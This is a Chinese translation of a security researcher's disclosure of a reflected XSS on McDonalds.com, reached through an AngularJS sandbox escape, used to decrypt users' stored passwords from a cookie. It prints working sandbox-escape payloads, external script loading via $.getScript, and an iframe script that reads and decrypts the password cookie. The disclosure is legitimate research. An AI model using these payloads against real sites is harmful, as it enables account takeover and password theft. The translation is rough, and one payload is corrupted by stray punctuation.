这是一篇关于如何利用漏洞来窃取麦当劳网站注册用户密码的文章,昨天只是出了这么一个漏洞,但是麦当劳相关负责人还是没有修补,所以作者就写了这么一篇攻略。
最好的防御方式就是攻击,只有知道黑客是如何攻击的,才能找到好的解决方案。
本文来源finnwea.com,由悬镜安全实验室翻译,如需转载请标注来源http://www.xmirror.cn/
通过滥用不安全的加密存储漏洞(链接)和反映的服务器跨站点脚本漏洞(链接),可以窃取和解密来自麦当劳用户的密码。
此外,其他个人详细信息,如用户的姓名,地址和联系方式也可能被盗。
概念证明-通过AngularJS沙箱逃脱反射XSS
McDonalds.com包含反映页面源中的搜索参数(q)的值的搜索页面。
所以当我们搜索** - 测试反射测试 - **它会是这样:
使用链接:
https://www.mcdonalds.com/us/en-us/search-results.html?q=***********-test-reflected-test-***********
麦当劳使用AngularJS,所以我们可以尝试使用搜索值打印唯一的范围ID。 我们可以通过将q参数值更改为{{$ id}}来实现。
我们可以看到{{$ id}}被转换为9 AngularJS范围的唯一ID(单调递增)。
使用链接:
https://www.mcdonalds.com/us/en-us/search-results.html?q={{$id}}
使用{{alert(1)}}作为值不会工作,因为所有AngularJS代码都在沙箱中执行。
然而,AngularJS沙盒是不是真的安全。 事实上,它不应该被信任。
它甚至在1.6版本(源)中被删除,因为它给了一个假的安全感。
PortSwigger创建了一个漂亮的博客文章关于转义AngularJS沙箱(链接)。
我们首先需要找到AngularJS版本的McDonalds.com。 我们可以通过在控制台中执行angular.version来做到这一点。
版本是1.5.3,所以我们需要的沙箱转义是{{x = {'y':''。constructor.prototype}; x ['y']。
charAt = []。join; $ eval('x = alert(1)');}}。
我们可以使用此沙盒逃逸作为搜索值,这会产生警报。
我们甚至可以使用以下沙箱转义来加载外部JavaScript文件,从而产生以下警报。
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/external-alert.js`)');}}`
JavaScript可以从另一个域加载,因为McDonald不使用Content-Security-Policy头来排除它。
窃取用户的密码
我在McDonalds.com上注意到的另一件事是他们的登录页面,其中包含一个非常特殊的复选框。
通常您可以在登录时选中“记住我”,麦当劳的登录页面提供了记住密码的选项。
我搜索所有的JavaScript的关键字密码,我发现了一些有趣的代码,解密密码。
这里有些事你是不能做的,它是解密密码客户端(甚至存储密码使用双向加密)。
我试图运行代码自己,它的工作!
penc值是存储一年的cookie。 大声笑中!
麦当劳使用CryptoJS加密和解密敏感数据。 他们对每个用户使用相同的密钥和iv,这意味着我只需要偷用penc cookie来解密某人的密码。
我试图解密我的密码在搜索页面上使用恶意搜索有效载荷,但它没有工作。 由于AngularJS沙箱转义有效内容用join方法替换charAt方法,getCookie方法失败。
getCookie方法通过检查charAt(0)是否为空格来尝试从cookie值中修剪空格。
在下面的图像中,您可以看到.charAt(0)返回一个字符串,如果在搜索页上执行,则返回0。
我写了一些JavaScript在iframe加载主页,并使用该iframe窃取cookie。
由于有效载荷由于沙箱逃逸而被执行多次,所以我跟踪变量xssIsExecuted,使得有效载荷只执行一次。
if (!window.xssIsExecuted) {
window.xssIsExecuted = true;
var iframe = $('<iframe src="https://www.mcdonalds.com/us/en-us.html"></iframe>');
$('body').append(iframe);
iframe.on('load', function() {
var penc = iframe[0].contentWindow.getCookie('penc');
alert(iframe[0].contentWindow.decrypt(penc));
});
}
我们现在可以使用以下沙箱转义,这会在警告框中生成我的密码!
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/mcdonalds-password-stealer.js`)');}}
很容易做到这些的。 我试图联系麦当劳多次报告这个问题,但不幸的是他们没有回应,这就是为什么我决定公开这个漏洞。